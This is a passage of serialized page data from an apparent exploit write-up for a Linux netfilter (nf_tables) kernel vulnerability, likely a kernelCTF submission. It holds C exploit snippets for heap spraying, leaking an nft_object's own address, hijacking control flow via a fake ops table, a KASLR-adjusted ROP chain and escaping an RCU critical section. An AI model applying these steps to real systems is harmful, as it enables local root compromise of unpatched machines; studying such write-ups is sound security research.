",{"type":21,"tag":85,"props":55991,"children":55992},{"style":2285},[55993],{"type":26,"value":4789},{"type":21,"tag":85,"props":55995,"children":55996},{"style":114},[55997],{"type":26,"value":256},{"type":21,"tag":85,"props":55999,"children":56000},{"style":2285},[56001],{"type":26,"value":4779},{"type":21,"tag":85,"props":56003,"children":56004},{"style":114},[56005],{"type":26,"value":777},{"type":21,"tag":85,"props":56007,"children":56008},{"class":87,"line":3369},[56009,56014],{"type":21,"tag":85,"props":56010,"children":56011},{"style":1021},[56012],{"type":26,"value":56013},"    wait_destroyer",{"type":21,"tag":85,"props":56015,"children":56016},{"style":114},[56017],{"type":26,"value":4437},{"type":21,"tag":85,"props":56019,"children":56020},{"class":87,"line":3377},[56021,56026,56030,56034,56038,56042,56046,56050,56054,56058],{"type":21,"tag":85,"props":56022,"children":56023},{"style":1021},[56024],{"type":26,"value":56025},"    obj_spray",{"type":21,"tag":85,"props":56027,"children":56028},{"style":114},[56029],{"type":26,"value":55989},{"type":21,"tag":85,"props":56031,"children":56032},{"style":2285},[56033],{"type":26,"value":4789},{"type":21,"tag":85,"props":56035,"children":56036},{"style":114},[56037],{"type":26,"value":256},{"type":21,"tag":85,"props":56039,"children":56040},{"style":2285},[56041],{"type":26,"value":4779},{"type":21,"tag":85,"props":56043,"children":56044},{"style":114},[56045],{"type":26,"value":256},{"type":21,"tag":85,"props":56047,"children":56048},{"style":102},[56049],{"type":26,"value":54952},{"type":21,"tag":85,"props":56051,"children":56052},{"style":114},[56053],{"type":26,"value":256},{"type":21,"tag":85,"props":56055,"children":56056},{"style":2285},[56057],{"type":26,"value":4789},{"type":21,"tag":85,"props":56059,"children":56060},{"style":114},[56061],{"type":26,"value":777},{"type":21,"tag":85,"props":56063,"children":56064},{"class":87,"line":3386},[56065,56070,56074,56079,56083,56087,56092,56096,56100,56105,56109,56114],{"type":21,"tag":85,"props":56066,"children":56067},{"style":102},[56068],{"type":26,"value":56069},"    uint64_t",{"type":21,"tag":85,"props":56071,"children":56072},{"style":169},[56073],{"type":26,"value":10231},{"type":21,"tag":85,"props":56075,"children":56076},{"style":114},[56077],{"type":26,"value":56078},"fake_obj ",{"type":21,"tag":85,"props":56080,"children":56081},{"style":169},[56082],{"type":26,"value":741},{"type":21,"tag":85,"props":56084,"children":56085},{"style":114},[56086],{"type":26,"value":717},{"type":21,"tag":85,"props":56088,"children":56089},{"style":102},[56090],{"type":26,"value":56091},"uint64_t",{"type":21,"tag":85,"props":56093,"children":56094},{"style":169},[56095],{"type":26,"value":10231},{"type":21,"tag":85,"props":56097,"children":56098},{"style":114},[56099],{"type":26,"value":1900},{"type":21,"tag":85,"props":56101,"children":56102},{"style":1021},[56103],{"type":26,"value":56104},"getudata",{"type":21,"tag":85,"props":56106,"children":56107},{"style":114},[56108],{"type":26,"value":55989},{"type":21,"tag":85,"props":56110,"children":56111},{"style":5026},[56112],{"type":26,"value":56113},"\"spray-2\"",{"type":21,"tag":85,"props":56115,"children":56116},{"style":114},[56117],{"type":26,"value":777},{"type":21,"tag":85,"props":56119,"children":56120},{"class":87,"line":3394},[56121],{"type":21,"tag":85,"props":56122,"children":56123},{"style":114},[56124],{"type":26,"value":10733},{"type":21,"tag":10022,"props":56126,"children":56128},{"id":56127},"leaking-self-pointer-of-nft_object",[56129,56131],{"type":26,"value":56130},"Leaking self pointer of ",{"type":21,"tag":66,"props":56132,"children":56134},{"className":56133},[],[56135],{"type":26,"value":55570},{"type":21,"tag":22,"props":56137,"children":56138},{},[56139,56141,56146,56148,56153,56155,56160,56162,56168],{"type":26,"value":56140},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":21,"tag":66,"props":56142,"children":56144},{"className":56143},[],[56145],{"type":26,"value":55570},{"type":26,"value":56147}," to get its own address. This is possible because the ",{"type":21,"tag":66,"props":56149,"children":56151},{"className":56150},[],[56152],{"type":26,"value":55570},{"type":26,"value":56154}," has a ",{"type":21,"tag":66,"props":56156,"children":56158},{"className":56157},[],[56159],{"type":26,"value":55555},{"type":26,"value":56161}," pointer (similar to ",{"type":21,"tag":66,"props":56163,"children":56165},{"className":56164},[],[56166],{"type":26,"value":56167},"table->udata",{"type":26,"value":56169}," that I used for leaking KASLR), that I can use to read/write data.",{"type":21,"tag":22,"props":56171,"children":56172},{},[56173,56174,56179,56181,56187,56189,56194,56196,56202,56204,56210,56212,56217,56219,56224,56226,56231,56233],{"type":26,"value":17034},{"type":21,"tag":66,"props":56175,"children":56177},{"className":56176},[],[56178],{"type":26,"value":55570},{"type":26,"value":56180}," struct also contains a ",{"type":21,"tag":66,"props":56182,"children":56184},{"className":56183},[],[56185],{"type":26,"value":56186},"list_head",{"type":26,"value":56188}," inserted in a circular list containing all ",{"type":21,"tag":66,"props":56190,"children":56192},{"className":56191},[],[56193],{"type":26,"value":55570},{"type":26,"value":56195},"'s that belong to a given ",{"type":21,"tag":66,"props":56197,"children":56199},{"className":56198},[],[56200],{"type":26,"value":56201},"table",{"type":26,"value":56203},". Considering that our object is currently alone in its table, the ",{"type":21,"tag":66,"props":56205,"children":56207},{"className":56206},[],[56208],{"type":26,"value":56209},"table->list.next",{"type":26,"value":56211}," pointer in the ",{"type":21,"tag":66,"props":56213,"children":56215},{"className":56214},[],[56216],{"type":26,"value":55570},{"type":26,"value":56218}," will point back to the ",{"type":21,"tag":66,"props":56220,"children":56222},{"className":56221},[],[56223],{"type":26,"value":56186},{"type":26,"value":56225}," contained in the ",{"type":21,"tag":66,"props":56227,"children":56229},{"className":56228},[],[56230],{"type":26,"value":56201},{"type":26,"value":56232}," and vice-versa.\n",{"type":21,"tag":4681,"props":56234,"children":56236},{"alt":51034,"src":56235},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":21,"tag":22,"props":56238,"children":56239},{},[56240,56242,56247,56249,56254,56256,56262,56264,56269,56270,56275,56277,56282,56284,56289],{"type":26,"value":56241},"In short, that means that if we swap the ",{"type":21,"tag":66,"props":56243,"children":56245},{"className":56244},[],[56246],{"type":26,"value":55555},{"type":26,"value":56248}," pointer of the ",{"type":21,"tag":66,"props":56250,"children":56252},{"className":56251},[],[56253],{"type":26,"value":55570},{"type":26,"value":56255}," with its own ",{"type":21,"tag":66,"props":56257,"children":56259},{"className":56258},[],[56260],{"type":26,"value":56261},"list.next",{"type":26,"value":56263}," pointer we should be able to read a pointer back to the ",{"type":21,"tag":66,"props":56265,"children":56267},{"className":56266},[],[56268],{"type":26,"value":55570},{"type":26,"value":52795},{"type":21,"tag":66,"props":56271,"children":56273},{"className":56272},[],[56274],{"type":26,"value":56186},{"type":26,"value":56276}," which is also the start of the ",{"type":21,"tag":66,"props":56278,"children":56280},{"className":56279},[],[56281],{"type":26,"value":55570},{"type":26,"value":56283}," itself.\n",{"type":21,"tag":873,"props":56285,"children":56286},{},[56287],{"type":26,"value":56288},"NOTE:",{"type":26,"value":56290}," This is a novel small trick.",{"type":21,"tag":75,"props":56292,"children":56294},{"className":29553,"code":56293,"language":29555,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[56295],{"type":21,"tag":66,"props":56296,"children":56297},{"__ignoreMap":7},[56298,56305,56313,56326,56374,56401,56412,56450,56457,56486,56516],{"type":21,"tag":85,"props":56299,"children":56300},{"class":87,"line":88},[56301],{"type":21,"tag":85,"props":56302,"children":56303},{"style":114},[56304],{"type":26,"value":10733},{"type":21,"tag":85,"props":56306,"children":56307},{"class":87,"line":98},[56308],{"type":21,"tag":85,"props":56309,"children":56310},{"style":114},[56311],{"type":26,"value":56312},"    // Leak nft_object ptr using table linked list\n",{"type":21,"tag":85,"props":56314,"children":56315},{"class":87,"line":151},[56316,56321],{"type":21,"tag":85,"props":56317,"children":56318},{"style":114},[56319],{"type":26,"value":56320},"    fake_obj[8] = 8;",{"type":21,"tag":85,"props":56322,"children":56323},{"style":92},[56324],{"type":26,"value":56325},"           // ulen = 8\n",{"type":21,"tag":85,"props":56327,"children":56328},{"class":87,"line":160},[56329,56334,56338,56343,56347,56351,56356,56360,56364,56369],{"type":21,"tag":85,"props":56330,"children":56331},{"style":120},[56332],{"type":26,"value":56333},"    fake_obj",{"type":21,"tag":85,"props":56335,"children":56336},{"style":114},[56337],{"type":26,"value":3016},{"type":21,"tag":85,"props":56339,"children":56340},{"style":2285},[56341],{"type":26,"value":56342},"9",{"type":21,"tag":85,"props":56344,"children":56345},{"style":114},[56346],{"type":26,"value":3026},{"type":21,"tag":85,"props":56348,"children":56349},{"style":169},[56350],{"type":26,"value":741},{"type":21,"tag":85,"props":56352,"children":56353},{"style":120},[56354],{"type":26,"value":56355}," fake_obj",{"type":21,"tag":85,"props":56357,"children":56358},{"style":114},[56359],{"type":26,"value":3016},{"type":21,"tag":85,"props":56361,"children":56362},{"style":2285},[56363],{"type":26,"value":4789},{"type":21,"tag":85,"props":56365,"children":56366},{"style":114},[56367],{"type":26,"value":56368},"];",{"type":21,"tag":85,"props":56370,"children":56371},{"style":92},[56372],{"type":26,"value":56373}," // udata = list->next\n",{"type":21,"tag":85,"props":56375,"children":56376},{"class":87,"line":185},[56377,56381,56385,56389,56393,56397],{"type":21,"tag":85,"props":56378,"children":56379},{"style":1021},[56380],{"type":26,"value":55984},{"type":21,"tag":85,"props":56382,"children":56383},{"style":114},[56384],{"type":26,"value":55989},{"type":21,"tag":85,"props":56386,"children":56387},{"style":2285},[56388],{"type":26,"value":3895},{"type":21,"tag":85,"props":56390,"children":56391},{"style":114},[56392],{"type":26,"value":256},{"type":21,"tag":85,"props":56394,"children":56395},{"style":2285},[56396],{"type":26,"value":4779},{"type":21,"tag":85,"props":56398,"children":56399},{"style":114},[56400],{"type":26,"value":777},{"type":21,"tag":85,"props":56402,"children":56403},{"class":87,"line":501},[56404,56408],{"type":21,"tag":85,"props":56405,"children":56406},{"style":1021},[56407],{"type":26,"value":56013},{"type":21,"tag":85,"props":56409,"children":56410},{"style":114},[56411],{"type":26,"value":4437},{"type":21,"tag":85,"props":56413,"children":56414},{"class":87,"line":697},[56415,56420,56424,56429,56433,56437,56441,56445],{"type":21,"tag":85,"props":56416,"children":56417},{"style":1021},[56418],{"type":26,"value":56419},"    udata_spray",{"type":21,"tag":85,"props":56421,"children":56422},{"style":114},[56423],{"type":26,"value":55989},{"type":21,"tag":85,"props":56425,"children":56426},{"style":2285},[56427],{"type":26,"value":56428},"0xe8",{"type":21,"tag":85,"props":56430,"children":56431},{"style":114},[56432],{"type":26,"value":256},{"type":21,"tag":85,"props":56434,"children":56435},{"style":2285},[56436],{"type":26,"value":17718},{"type":21,"tag":85,"props":56438,"children":56439},{"style":114},[56440],{"type":26,"value":256},{"type":21,"tag":85,"props":56442,"children":56443},{"style":2285},[56444],{"type":26,"value":4779},{"type":21,"tag":85,"props":56446,"children":56447},{"style":114},[56448],{"type":26,"value":56449},", fake_obj);\n",{"type":21,"tag":85,"props":56451,"children":56452},{"class":87,"line":706},[56453],{"type":21,"tag":85,"props":56454,"children":56455},{"emptyLinePlaceholder":16},[56456],{"type":26,"value":703},{"type":21,"tag":85,"props":56458,"children":56459},{"class":87,"line":1100},[56460,56465,56469,56474,56478,56482],{"type":21,"tag":85,"props":56461,"children":56462},{"style":1021},[56463],{"type":26,"value":56464},"    get_obj",{"type":21,"tag":85,"props":56466,"children":56467},{"style":114},[56468],{"type":26,"value":55989},{"type":21,"tag":85,"props":56470,"children":56471},{"style":5026},[56472],{"type":26,"value":56473},"\"spray-0\"",{"type":21,"tag":85,"props":56475,"children":56476},{"style":114},[56477],{"type":26,"value":256},{"type":21,"tag":85,"props":56479,"children":56480},{"style":102},[56481],{"type":26,"value":4760},{"type":21,"tag":85,"props":56483,"children":56484},{"style":114},[56485],{"type":26,"value":777},{"type":21,"tag":85,"props":56487,"children":56488},{"class":87,"line":1339},[56489,56494,56498,56503,56507,56511],{"type":21,"tag":85,"props":56490,"children":56491},{"style":1021},[56492],{"type":26,"value":56493},"    printf",{"type":21,"tag":85,"props":56495,"children":56496},{"style":114},[56497],{"type":26,"value":1439},{"type":21,"tag":85,"props":56499,"children":56500},{"style":5026},[56501],{"type":26,"value":56502},"\"[*] nft_object ptr: 0x%lx",{"type":21,"tag":85,"props":56504,"children":56505},{"style":48828},[56506],{"type":26,"value":48831},{"type":21,"tag":85,"props":56508,"children":56509},{"style":5026},[56510],{"type":26,"value":20487},{"type":21,"tag":85,"props":56512,"children":56513},{"style":114},[56514],{"type":26,"value":56515},", obj_ptr);\n",{"type":21,"tag":85,"props":56517,"children":56518},{"class":87,"line":1348},[56519],{"type":21,"tag":85,"props":56520,"children":56521},{"style":114},[56522],{"type":26,"value":10733},{"type":21,"tag":10022,"props":56524,"children":56526},{"id":56525},"hijacking-control-flow",[56527],{"type":26,"value":56528},"Hijacking control-flow",{"type":21,"tag":22,"props":56530,"children":56531},{},[56532,56534,56539,56541,56546,56548,56553,56555,56560,56562,56567,56569],{"type":26,"value":56533},"To hijack control-flow, we can use ",{"type":21,"tag":66,"props":56535,"children":56537},{"className":56536},[],[56538],{"type":26,"value":55570},{"type":26,"value":56540}," once again. The ",{"type":21,"tag":66,"props":56542,"children":56544},{"className":56543},[],[56545],{"type":26,"value":55570},{"type":26,"value":56547}," struct has an ",{"type":21,"tag":66,"props":56549,"children":56551},{"className":56550},[],[56552],{"type":26,"value":53126},{"type":26,"value":56554}," pointer to a function pointer table. We can swap the ",{"type":21,"tag":66,"props":56556,"children":56558},{"className":56557},[],[56559],{"type":26,"value":53126},{"type":26,"value":56561}," pointer with the ",{"type":21,"tag":66,"props":56563,"children":56565},{"className":56564},[],[56566],{"type":26,"value":55555},{"type":26,"value":56568}," pointer, taking control of the pointer table.\n",{"type":21,"tag":4681,"props":56570,"children":56572},{"alt":51034,"src":56571},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":21,"tag":75,"props":56574,"children":56576},{"className":29553,"code":56575,"language":29555,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[56577],{"type":21,"tag":66,"props":56578,"children":56579},{"__ignoreMap":7},[56580,56587,56595,56619,56666,56702,56709,56717,56749,56757,56765,56786,56794,56802,56866,56873,56881,56889,56896,56904,56938,56946,56953,56961,56968,56976,57009,57030],{"type":21,"tag":85,"props":56581,"children":56582},{"class":87,"line":88},[56583],{"type":21,"tag":85,"props":56584,"children":56585},{"style":114},[56586],{"type":26,"value":10733},{"type":21,"tag":85,"props":56588,"children":56589},{"class":87,"line":98},[56590],{"type":21,"tag":85,"props":56591,"children":56592},{"style":114},[56593],{"type":26,"value":56594},"    // Fake ops\n",{"type":21,"tag":85,"props":56596,"children":56597},{"class":87,"line":151},[56598,56603,56607,56611,56615],{"type":21,"tag":85,"props":56599,"children":56600},{"style":114},[56601],{"type":26,"value":56602},"    uint64_t *rop = calloc(29, ",{"type":21,"tag":85,"props":56604,"children":56605},{"style":108},[56606],{"type":26,"value":55784},{"type":21,"tag":85,"props":56608,"children":56609},{"style":114},[56610],{"type":26,"value":1439},{"type":21,"tag":85,"props":56612,"children":56613},{"style":102},[56614],{"type":26,"value":56091},{"type":21,"tag":85,"props":56616,"children":56617},{"style":114},[56618],{"type":26,"value":1569},{"type":21,"tag":85,"props":56620,"children":56621},{"class":87,"line":160},[56622,56627,56631,56635,56639,56643,56648,56652,56657,56661],{"type":21,"tag":85,"props":56623,"children":56624},{"style":120},[56625],{"type":26,"value":56626},"    rop",{"type":21,"tag":85,"props":56628,"children":56629},{"style":114},[56630],{"type":26,"value":3016},{"type":21,"tag":85,"props":56632,"children":56633},{"style":2285},[56634],{"type":26,"value":4789},{"type":21,"tag":85,"props":56636,"children":56637},{"style":114},[56638],{"type":26,"value":3026},{"type":21,"tag":85,"props":56640,"children":56641},{"style":169},[56642],{"type":26,"value":741},{"type":21,"tag":85,"props":56644,"children":56645},{"style":114},[56646],{"type":26,"value":56647}," kaslr_slide ",{"type":21,"tag":85,"props":56649,"children":56650},{"style":169},[56651],{"type":26,"value":5151},{"type":21,"tag":85,"props":56653,"children":56654},{"style":2285},[56655],{"type":26,"value":56656}," 0xffffffff81988647",{"type":21,"tag":85,"props":56658,"children":56659},{"style":114},[56660],{"type":26,"value":49529},{"type":21,"tag":85,"props":56662,"children":56663},{"style":92},[56664],{"type":26,"value":56665}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":21,"tag":85,"props":56667,"children":56668},{"class":87,"line":185},[56669,56673,56677,56681,56685,56689,56693,56697],{"type":21,"tag":85,"props":56670,"children":56671},{"style":120},[56672],{"type":26,"value":56626},{"type":21,"tag":85,"props":56674,"children":56675},{"style":114},[56676],{"type":26,"value":3016},{"type":21,"tag":85,"props":56678,"children":56679},{"style":2285},[56680],{"type":26,"value":3895},{"type":21,"tag":85,"props":56682,"children":56683},{"style":114},[56684],{"type":26,"value":3026},{"type":21,"tag":85,"props":56686,"children":56687},{"style":169},[56688],{"type":26,"value":741},{"type":21,"tag":85,"props":56690,"children":56691},{"style":114},[56692],{"type":26,"value":56647},{"type":21,"tag":85,"props":56694,"children":56695},{"style":169},[56696],{"type":26,"value":5151},{"type":21,"tag":85,"props":56698,"children":56699},{"style":114},[56700],{"type":26,"value":56701}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":21,"tag":85,"props":56703,"children":56704},{"class":87,"line":501},[56705],{"type":21,"tag":85,"props":56706,"children":56707},{"style":114},[56708],{"type":26,"value":10733},{"type":21,"tag":85,"props":56710,"children":56711},{"class":87,"line":697},[56712],{"type":21,"tag":85,"props":56713,"children":56714},{"style":114},[56715],{"type":26,"value":56716},"    // Send ROP in object udata\n",{"type":21,"tag":85,"props":56718,"children":56719},{"class":87,"line":706},[56720,56725,56729,56734,56739,56744],{"type":21,"tag":85,"props":56721,"children":56722},{"style":114},[56723],{"type":26,"value":56724},"    del_obj(",{"type":21,"tag":85,"props":56726,"children":56727},{"style":108},[56728],{"type":26,"value":54746},{"type":21,"tag":85,"props":56730,"children":56731},{"style":114},[56732],{"type":26,"value":56733},", \"",{"type":21,"tag":85,"props":56735,"children":56736},{"style":108},[56737],{"type":26,"value":56738},"spray",{"type":21,"tag":85,"props":56740,"children":56741},{"style":114},[56742],{"type":26,"value":56743},"-0",{"type":21,"tag":85,"props":56745,"children":56746},{"style":5026},[56747],{"type":26,"value":56748},"\");\n",{"type":21,"tag":85,"props":56750,"children":56751},{"class":87,"line":1100},[56752],{"type":21,"tag":85,"props":56753,"children":56754},{"style":5026},[56755],{"type":26,"value":56756},"    wait_destroyer();\n",{"type":21,"tag":85,"props":56758,"children":56759},{"class":87,"line":1339},[56760],{"type":21,"tag":85,"props":56761,"children":56762},{"style":5026},[56763],{"type":26,"value":56764},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":21,"tag":85,"props":56766,"children":56767},{"class":87,"line":1348},[56768,56773,56777,56782],{"type":21,"tag":85,"props":56769,"children":56770},{"style":5026},[56771],{"type":26,"value":56772},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":21,"tag":85,"props":56774,"children":56775},{"style":102},[56776],{"type":26,"value":56738},{"type":21,"tag":85,"props":56778,"children":56779},{"style":114},[56780],{"type":26,"value":56781},"-3",{"type":21,"tag":85,"props":56783,"children":56784},{"style":5026},[56785],{"type":26,"value":56748},{"type":21,"tag":85,"props":56787,"children":56788},{"class":87,"line":1386},[56789],{"type":21,"tag":85,"props":56790,"children":56791},{"style":5026},[56792],{"type":26,"value":56793},"    DumpHex(fake_obj, 0xe8);\n",{"type":21,"tag":85,"props":56795,"children":56796},{"class":87,"line":1394},[56797],{"type":21,"tag":85,"props":56798,"children":56799},{"style":5026},[56800],{"type":26,"value":56801},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":21,"tag":85,"props":56803,"children":56804},{"class":87,"line":1402},[56805,56810,56814,56818,56822,56827,56832,56837,56841,56846,56851,56856,56861],{"type":21,"tag":85,"props":56806,"children":56807},{"style":5026},[56808],{"type":26,"value":56809},"    printf(\"",{"type":21,"tag":85,"props":56811,"children":56812},{"style":114},[56813],{"type":26,"value":3016},{"type":21,"tag":85,"props":56815,"children":56816},{"style":169},[56817],{"type":26,"value":3052},{"type":21,"tag":85,"props":56819,"children":56820},{"style":114},[56821],{"type":26,"value":3026},{"type":21,"tag":85,"props":56823,"children":56824},{"style":108},[56825],{"type":26,"value":56826},"ROP",{"type":21,"tag":85,"props":56828,"children":56829},{"style":108},[56830],{"type":26,"value":56831}," addr",{"type":21,"tag":85,"props":56833,"children":56834},{"style":114},[56835],{"type":26,"value":56836},": 0",{"type":21,"tag":85,"props":56838,"children":56839},{"style":108},[56840],{"type":26,"value":19702},{"type":21,"tag":85,"props":56842,"children":56843},{"style":114},[56844],{"type":26,"value":56845},"%",{"type":21,"tag":85,"props":56847,"children":56848},{"style":108},[56849],{"type":26,"value":56850},"lx",{"type":21,"tag":85,"props":56852,"children":56853},{"style":114},[56854],{"type":26,"value":56855},"\\",{"type":21,"tag":85,"props":56857,"children":56858},{"style":108},[56859],{"type":26,"value":56860},"n",{"type":21,"tag":85,"props":56862,"children":56863},{"style":5026},[56864],{"type":26,"value":56865},"\", rop_addr);\n",{"type":21,"tag":85,"props":56867,"children":56868},{"class":87,"line":3145},[56869],{"type":21,"tag":85,"props":56870,"children":56871},{"emptyLinePlaceholder":16},[56872],{"type":26,"value":703},{"type":21,"tag":85,"props":56874,"children":56875},{"class":87,"line":3246},[56876],{"type":21,"tag":85,"props":56877,"children":56878},{"style":5026},[56879],{"type":26,"value":56880},"    // Point to fake ops\n",{"type":21,"tag":85,"props":56882,"children":56883},{"class":87,"line":3255},[56884],{"type":21,"tag":85,"props":56885,"children":56886},{"style":5026},[56887],{"type":26,"value":56888},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":21,"tag":85,"props":56890,"children":56891},{"class":87,"line":3286},[56892],{"type":21,"tag":85,"props":56893,"children":56894},{"style":5026},[56895],{"type":26,"value":10733},{"type":21,"tag":85,"props":56897,"children":56898},{"class":87,"line":3295},[56899],{"type":21,"tag":85,"props":56900,"children":56901},{"style":5026},[56902],{"type":26,"value":56903},"    // Write ROP\n",{"type":21,"tag":85,"props":56905,"children":56906},{"class":87,"line":3308},[56907,56912,56916,56920,56924,56929,56934],{"type":21,"tag":85,"props":56908,"children":56909},{"style":5026},[56910],{"type":26,"value":56911},"    puts(\"",{"type":21,"tag":85,"props":56913,"children":56914},{"style":114},[56915],{"type":26,"value":3016},{"type":21,"tag":85,"props":56917,"children":56918},{"style":169},[56919],{"type":26,"value":3052},{"type":21,"tag":85,"props":56921,"children":56922},{"style":114},[56923],{"type":26,"value":3026},{"type":21,"tag":85,"props":56925,"children":56926},{"style":108},[56927],{"type":26,"value":56928},"Write",{"type":21,"tag":85,"props":56930,"children":56931},{"style":108},[56932],{"type":26,"value":56933}," ROP",{"type":21,"tag":85,"props":56935,"children":56936},{"style":5026},[56937],{"type":26,"value":56748},{"type":21,"tag":85,"props":56939,"children":56940},{"class":87,"line":3333},[56941],{"type":21,"tag":85,"props":56942,"children":56943},{"style":5026},[56944],{"type":26,"value":56945},"    deludata_spray(nl, 3, 1);\n",{"type":21,"tag":85,"props":56947,"children":56948},{"class":87,"line":3369},[56949],{"type":21,"tag":85,"props":56950,"children":56951},{"style":5026},[56952],{"type":26,"value":56756},{"type":21,"tag":85,"props":56954,"children":56955},{"class":87,"line":3377},[56956],{"type":21,"tag":85,"props":56957,"children":56958},{"style":5026},[56959],{"type":26,"value":56960},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":21,"tag":85,"props":56962,"children":56963},{"class":87,"line":3386},[56964],{"type":21,"tag":85,"props":56965,"children":56966},{"emptyLinePlaceholder":16},[56967],{"type":26,"value":703},{"type":21,"tag":85,"props":56969,"children":56970},{"class":87,"line":3394},[56971],{"type":21,"tag":85,"props":56972,"children":56973},{"style":5026},[56974],{"type":26,"value":56975},"    // Takeover RIP\n",{"type":21,"tag":85,"props":56977,"children":56978},{"class":87,"line":3410},[56979,56983,56987,56991,56995,57000,57005],{"type":21,"tag":85,"props":56980,"children":56981},{"style":5026},[56982],{"type":26,"value":56911},{"type":21,"tag":85,"props":56984,"children":56985},{"style":114},[56986],{"type":26,"value":3016},{"type":21,"tag":85,"props":56988,"children":56989},{"style":169},[56990],{"type":26,"value":3052},{"type":21,"tag":85,"props":56992,"children":56993},{"style":114},[56994],{"type":26,"value":3026},{"type":21,"tag":85,"props":56996,"children":56997},{"style":108},[56998],{"type":26,"value":56999},"Takeover",{"type":21,"tag":85,"props":57001,"children":57002},{"style":108},[57003],{"type":26,"value":57004}," RIP",{"type":21,"tag":85,"props":57006,"children":57007},{"style":5026},[57008],{"type":26,"value":56748},{"type":21,"tag":85,"props":57010,"children":57011},{"class":87,"line":3427},[57012,57017,57021,57026],{"type":21,"tag":85,"props":57013,"children":57014},{"style":5026},[57015],{"type":26,"value":57016},"    dump_obj(nl, \"",{"type":21,"tag":85,"props":57018,"children":57019},{"style":102},[57020],{"type":26,"value":56738},{"type":21,"tag":85,"props":57022,"children":57023},{"style":114},[57024],{"type":26,"value":57025},"-1",{"type":21,"tag":85,"props":57027,"children":57028},{"style":5026},[57029],{"type":26,"value":56748},{"type":21,"tag":85,"props":57031,"children":57032},{"class":87,"line":3445},[57033],{"type":21,"tag":85,"props":57034,"children":57035},{"style":5026},[57036],{"type":26,"value":10733},{"type":21,"tag":10022,"props":57038,"children":57040},{"id":57039},"bypass-context-switch-in-rcu-critical-section",[57041],{"type":26,"value":57042},"Bypass context switch in RCU critical-section",{"type":21,"tag":22,"props":57044,"children":57045},{},[57046,57047,57052],{"type":26,"value":17034},{"type":21,"tag":66,"props":57048,"children":57050},{"className":57049},[],[57051],{"type":26,"value":55570},{"type":26,"value":57053}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":21,"tag":22,"props":57055,"children":57056},{},[57057,57059,57066,57068,57074,57076,57082],{"type":26,"value":57058},"A workaround has been discussed before by D3v17 in a ",{"type":21,"tag":335,"props":57060,"children":57063},{"href":57061,"rel":57062},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[339],[57064],{"type":26,"value":57065},"previous kernelCTF submission",{"type":26,"value":57067}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":21,"tag":66,"props":57069,"children":57071},{"className":57070},[],[57072],{"type":26,"value":57073},"task_struct",{"type":26,"value":57075}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":21,"tag":66,"props":57077,"children":57079},{"className":57078},[],[57080],{"type":26,"value":57081},"__rcu_read_unlock()",{"type":26,"value":57083}," function and exit the RCU critical-section before switching contexts.",{"type":21,"tag":75,"props":57085,"children":57087},{"className":29553,"code":57086,"language":29555,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[57088],{"type":21,"tag":66,"props":57089,"children":57090},{"__ignoreMap":7},[57091,57099,57123,57130],{"type":21,"tag":85,"props":57092,"children":57093},{"class":87,"line":88},[57094],{"type":21,"tag":85,"props":57095,"children":57096},{"style":92},[57097],{"type":26,"value":57098},"    // ROP stage 1\n",{"type":21,"tag":85,"props":57100,"children":57101},{"class":87,"line":98},[57102,57106,57111,57115,57119],{"type":21,"tag":85,"props":57103,"children":57104},{"style":102},[57105],{"type":26,"value":19503},{"type":21,"tag":85,"props":57107,"children":57108},{"style":114},[57109],{"type":26,"value":57110}," pos 